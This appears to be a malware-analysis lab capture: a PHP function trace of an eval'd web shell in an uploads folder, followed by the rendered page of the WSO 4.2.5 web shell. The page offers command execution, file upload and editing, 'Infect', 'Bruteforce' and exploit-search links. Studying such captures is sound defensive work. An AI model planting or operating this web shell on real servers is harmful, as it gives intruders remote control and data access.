4 183 0 0.014711 1048264 array_merge 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 2 [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']] [0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4 183 1 0.014758 1048704
4 183 R [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'jftdpr.php', 'path' => '/var/www/html/uploads/jftdpr.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 23210, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 21:58:14', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $l = 0
4 184 0 0.014862 1048344 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
4 184 1 0.014877 1048408
4 184 R '..'
4 185 0 0.014893 1048472 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
4 185 1 0.014913 1048664
4 185 R '..'
4 186 0 0.014929 1048584 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
4 186 1 0.014943 1048648
4 186 R '..'
4 187 0 0.014956 1048712 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
4 187 1 0.014969 1048776
4 187 R '..'
4 188 0 0.014982 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '..'
4 188 1 0.014994 1048968
4 188 R '..'
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $l = 1
4 189 0 0.015022 1048360 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
4 189 1 0.015035 1048424
4 189 R 'data'
4 190 0 0.015049 1048472 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
4 190 1 0.015063 1048664
4 190 R 'data'
4 191 0 0.015077 1048584 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
4 191 1 0.015090 1048648
4 191 R 'data'
4 192 0 0.015104 1048712 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
4 192 1 0.015117 1048776
4 192 R 'data'
4 193 0 0.015131 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'data'
4 193 1 0.015143 1048968
4 193 R 'data'
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $l = 0
4 194 0 0.015414 1048344 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 194 1 0.015428 1048416
4 194 R '.htaccess'
4 195 0 0.015443 1048392 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 195 1 0.015457 1048464
4 195 R '.htaccess'
4 196 0 0.015471 1048472 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 196 1 0.015486 1048664
4 196 R '.htaccess'
4 197 0 0.015501 1048456 viewSize 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 64
4 197 1 0.015518 1048488
4 197 R '64 B'
4 198 0 0.015533 1048584 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 198 1 0.015546 1048656
4 198 R '.htaccess'
4 199 0 0.015560 1048712 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 199 1 0.015573 1048784
4 199 R '.htaccess'
4 200 0 0.015586 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 200 1 0.015600 1048976
4 200 R '.htaccess'
4 201 0 0.015614 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 201 1 0.015627 1048976
4 201 R '.htaccess'
4 202 0 0.015641 1049128 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 202 1 0.015654 1049200
4 202 R '.htaccess'
4 203 0 0.015668 1049224 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 '.htaccess'
4 203 1 0.015681 1049296
4 203 R '.htaccess'
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $l = 1
4 204 0 0.015708 1048360 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 204 1 0.015722 1048432
4 204 R 'jftdpr.php'
4 205 0 0.015735 1048424 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 205 1 0.015749 1048496
4 205 R 'jftdpr.php'
4 206 0 0.015763 1048504 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 206 1 0.015777 1048696
4 206 R 'jftdpr.php'
4 207 0 0.015790 1048488 viewSize 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 23210
5 208 0 0.015805 1048488 sprintf 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 2 '%1.2f' 22.666015625
5 208 1 0.015822 1048872
5 208 R '22.67'
4 207 1 0.015836 1048528
4 207 R '22.67 KB'
4 209 0 0.015851 1048584 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 209 1 0.015865 1048656
4 209 R 'jftdpr.php'
4 210 0 0.015880 1048776 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 210 1 0.015900 1048848
4 210 R 'jftdpr.php'
4 211 0 0.015914 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 211 1 0.015927 1048976
4 211 R 'jftdpr.php'
4 212 0 0.015941 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 212 1 0.015953 1048976
4 212 R 'jftdpr.php'
4 213 0 0.015967 1049128 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 213 1 0.015980 1049200
4 213 R 'jftdpr.php'
4 214 0 0.015993 1049288 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'jftdpr.php'
4 214 1 0.016006 1049360
4 214 R 'jftdpr.php'
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $l = 0
4 215 0 0.016032 1048344 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 215 1 0.016046 1048416
4 215 R 'prepend.php'
4 216 0 0.016060 1048392 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 216 1 0.016073 1048464
4 216 R 'prepend.php'
4 217 0 0.016086 1048472 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 217 1 0.016100 1048664
4 217 R 'prepend.php'
4 218 0 0.016114 1048488 viewSize 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 57
4 218 1 0.016128 1048520
4 218 R '57 B'
4 219 0 0.016142 1048584 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 219 1 0.016156 1048656
4 219 R 'prepend.php'
4 220 0 0.016170 1048712 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 220 1 0.016183 1048784
4 220 R 'prepend.php'
4 221 0 0.016197 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 221 1 0.016209 1048976
4 221 R 'prepend.php'
4 222 0 0.016223 1048904 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 222 1 0.016236 1048976
4 222 R 'prepend.php'
4 223 0 0.016249 1049128 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 223 1 0.016262 1049200
4 223 R 'prepend.php'
4 224 0 0.016276 1049288 urlencode 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 1 'prepend.php'
4 224 1 0.016289 1049360
4 224 R 'prepend.php'
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 158 $l = 1
4 225 0 0.016315 1048264 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 161 1 '/var/www/html/uploads/'
4 225 1 0.016329 1048456
4 225 R '/var/www/html/uploads/'
4 226 0 0.016350 1048264 class_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 163 1 'ZipArchive'
4 226 1 0.016391 1048304
4 226 R FALSE
4 227 0 0.016408 1048264 hardFooter 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 163 0
5 228 0 0.016422 1048264 is_writable 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 1 '/var/www/html/uploads/'
5 228 1 0.016446 1048304
5 228 R TRUE
4 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 103 $is_writable = ' <font color=\'#FFDB5F\'>[ Writeable ]</font>'
5 229 0 0.016474 1048264 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 107 1 'actionFilesMan'
5 229 1 0.016489 1048304
5 229 R TRUE
5 230 0 0.016503 1048520 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 107 1 '/var/www/html/uploads/'
5 230 1 0.016518 1048712
5 230 R '/var/www/html/uploads/'
5 231 0 0.016534 1048648 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 108 1 'actionFilesTools'
5 231 1 0.016548 1048688
5 231 R TRUE
5 232 0 0.016561 1048904 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 110 1 'actionFilesMan'
5 232 1 0.016575 1048944
5 232 R TRUE
5 233 0 0.016588 1049160 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 111 1 'actionFilesTools'
5 233 1 0.016602 1049200
5 233 R TRUE
5 234 0 0.016620 1049544 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 113 1 'actionConsole'
5 234 1 0.016634 1049584
5 234 R TRUE
5 235 0 0.016647 1049544 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 114 1 'actionFilesMan'
5 235 1 0.016661 1049584
5 235 R TRUE
5 236 0 0.016674 1049800 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 116 1 '/var/www/html/uploads/'
5 236 1 0.016688 1049992
5 236 R '/var/www/html/uploads/'
4 227 1 0.016707 1048264
3 30 1 0.016717 1040992
2 5 1 0.016725 1040992
1 3 1 0.016739 1002856
0.016781 896088
TRACE END [2023-02-13 00:58:40.292178]
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>localhost - WSO 4.2.5</title>
<style>
body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
table.info {color:#C3C3C3;}
table#toolsTbl {background-color: #060A10;}
span,h1,a {color:#fff !important;}
span {font-weight:bolder;}
h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
div.content {padding:5px;margin-left:5px;background-color:#060a10;}
a {text-decoration:none;}
a:hover {text-decoration:underline;}
.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
.tooltip:hover::after {opacity:1;visibility:visible;}
.ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
.bigarea {min-width:100%;max-width:100%;height:400px;}
input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
label {position:relative}
label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
form {margin:0px;}
#toolsTbl {text-align:center;}
#fak {background:none;}
#fak td {padding:5px 0 0 0;}
iframe {border:1px solid #060a10;}
.toolsInp {width:300px}
.main th {text-align:left;background-color:#060a10;}
.main tr:hover{background-color:#354252;}
.main td, th{vertical-align:middle;}
input[type='submit']{background-color:#2E6E9C;}
input[type='button']{background-color:#2E6E9C;}
input[type='submit']:hover{background-color:#56AD15;}
input[type='button']:hover{background-color:#56AD15;}
.l1 {background-color:#202832;}
pre {font:9pt Courier New;}
</style>
<script>
var c_ = '/var/www/html/';
var a_ = 'FilesMan'
var charset_ = 'UTF-8';
var p1_ = '';
var p2_ = '';
var p3_ = '';
var d = document;
function encrypt(str,pwd){ return str; }
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
d.mf.a.value = encrypt(d.mf.a.value,'ab08edf2e5f896ca30f54153008b9d29');
d.mf.c.value = encrypt(d.mf.c.value,'ab08edf2e5f896ca30f54153008b9d29');
d.mf.p1.value = encrypt(d.mf.p1.value,'ab08edf2e5f896ca30f54153008b9d29');
d.mf.p2.value = encrypt(d.mf.p2.value,'ab08edf2e5f896ca30f54153008b9d29');
d.mf.p3.value = encrypt(d.mf.p3.value,'ab08edf2e5f896ca30f54153008b9d29');
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('/jftdpr.php', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
</head><body><div style="position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c">
<input type="hidden" name="p1">
<input type="hidden" name="p2">
<input type="hidden" name="p3">
<input type="hidden" name="charset">
</form><table class="info" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><td width="1"><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 <a href="http://noreferer.de/?http://www.google.com/search?q=Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64" target="_blank">[ Google ]</a> <a href="http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=Linux+Kernel+5.15.0" target="_blank">[ Exploit-DB ]</a></nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 <span>Safe mode:</span> <font color="#FFDB5F"><b>OFF</b></font> <a href="#" onclick="g('Php',null,null,'info')">[ phpinfo ]</a> <span>Datetime:</span> 2023-02-12 21:58:08<br>216.08 GB <span>Free:</span> 183.58 GB (84.96%)<br><a href="#" onclick="g("FilesMan","/")">/</a><a href="#" onclick="g("FilesMan","/var/")">var/</a><a href="#" onclick="g("FilesMan","/var/www/")">www/</a><a href="#" onclick="g("FilesMan","/var/www/html/")">html/</a> <font color="#FFDB5F"><b>drwxrwxrwx</b></font> <a href="#" onclick="g('FilesMan','/var/www/html','','','')">[ home ]</a><br></td><td width="1" align="right"><nobr><label><select onchange="g(null,null,null,null,null,this.value)"><option value="UTF-8" selected="">UTF-8</option><option value="Windows-1251">Windows-1251</option><option value="KOI8-R">KOI8-R</option><option value="KOI8-U">KOI8-U</option><option value="cp866">cp866</option></select></label><br><span>Server IP:</span><br>127.0.0.1<br><span>Client IP:</span><br>::1</nobr></td></tr></tbody></table><table style="background-color:#2E6E9C;" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><th>[ <a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a> ]</th><th>[ <a href="#" onclick="g('FilesMan',null,'','','')">Files</a> ]</th><th>[ <a href="#" onclick="g('Console',null,'','','')">Console</a> ]</th><th>[ <a href="#" onclick="g('Infect',null,'','','')">Infect</a> ]</th><th>[ <a href="#" onclick="g('Sql',null,'','','')">Sql</a> ]</th><th>[ <a href="#" onclick="g('Php',null,'','','')">Php</a> ]</th><th>[ <a href="#" onclick="g('SafeMode',null,'','','')">Safe mode</a> ]</th><th>[ <a href="#" onclick="g('StringTools',null,'','','')">String tools</a> ]</th><th>[ <a href="#" onclick="g('Bruteforce',null,'','','')">Bruteforce</a> ]</th><th>[ <a href="#" onclick="g('Network',null,'','','')">Network</a> ]</th><th>[ <a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a> ]</th></tr></tbody></table><div><h1>File manager</h1><div class="content"><script>p1_=p2_=p3_="";</script><script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width="100%" class="main" cellspacing="0" cellpadding="2">
<form name="files" method="post"></form><tbody><tr><th width="13px"><input type="checkbox" onclick="sa()" class="chkbx"></th><th><a href="#" onclick="g("FilesMan",null,"s_name_0")">Name</a></th><th><a href="#" onclick="g("FilesMan",null,"s_size_0")">Size</a></th><th><a href="#" onclick="g("FilesMan",null,"s_modify_0")">Modify</a></th><th>Owner/Group</th><th><a href="#" onclick="g("FilesMan",null,"s_perms_0")">Permissions</a></th><th>Actions</th></tr><tr><td><input type="checkbox" name="f[]" value=".." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2023-02-12 21:58:07</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'..','chmod')"><font color="#FFDB5F"><b>drwxrwxrwx</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'view')">beneri.se_malware_analysis</a></td><td>0 B</td><td>2023-02-12 21:58:07</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis','chmod')"><font color="white"><b>-rw-r--r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a></td></tr><tr><td><input type="checkbox" name="f[]" value="jftdpr.php" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'jftdpr.php', 'view')">jftdpr.php</a></td><td>22.67 KB</td><td>2023-02-12 21:58:07</td><td>osboxes/osboxes</td><td><a href="#" onclick="g('FilesTools',null,'jftdpr.php','chmod')"><font color="white"><b>-rw-rw-r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'jftdpr.php', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'jftdpr.php', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'jftdpr.php', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'jftdpr.php', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'jftdpr.php', 'download')">D</a></td></tr><tr id="fak"><td colspan="7">
<input type="hidden" name="ne" value="">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="charset" value="UTF-8">
<label><select name="p1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete">Delete</option><option value="tar">+ tar.gz</option></select></label><input type="submit" value="submit"></td></tr></tbody></table></div>
</div>
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr>
<td><form onsubmit="g(null,this.c.value,'');return false;"><span>Change dir:</span><br><input class="toolsInp" type="text" name="c" value="/var/www/html/"><input type="submit" value="submit"></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
</tr><tr>
<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="text" name="d" required=""><input type="submit" value="submit"></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
</tr><tr>
<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type="text" name="c" value=""><input type="submit" value="submit"></form></td>
<td><form method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="p1" value="uploadFile">
<input type="hidden" name="ne" value="">
<input type="hidden" name="charset" value="UTF-8">
<span>Upload file:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="file" name="f[]" multiple=""><input type="submit" value="submit"></form><br></td>
</tr></tbody></table></div>
<!-- particles --> <div id="particles-js"><canvas class="particles-js-canvas-el" width="1846" height="100" style="width: 100%; height: 100%;"></canvas></div><script src="http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
</body></html>
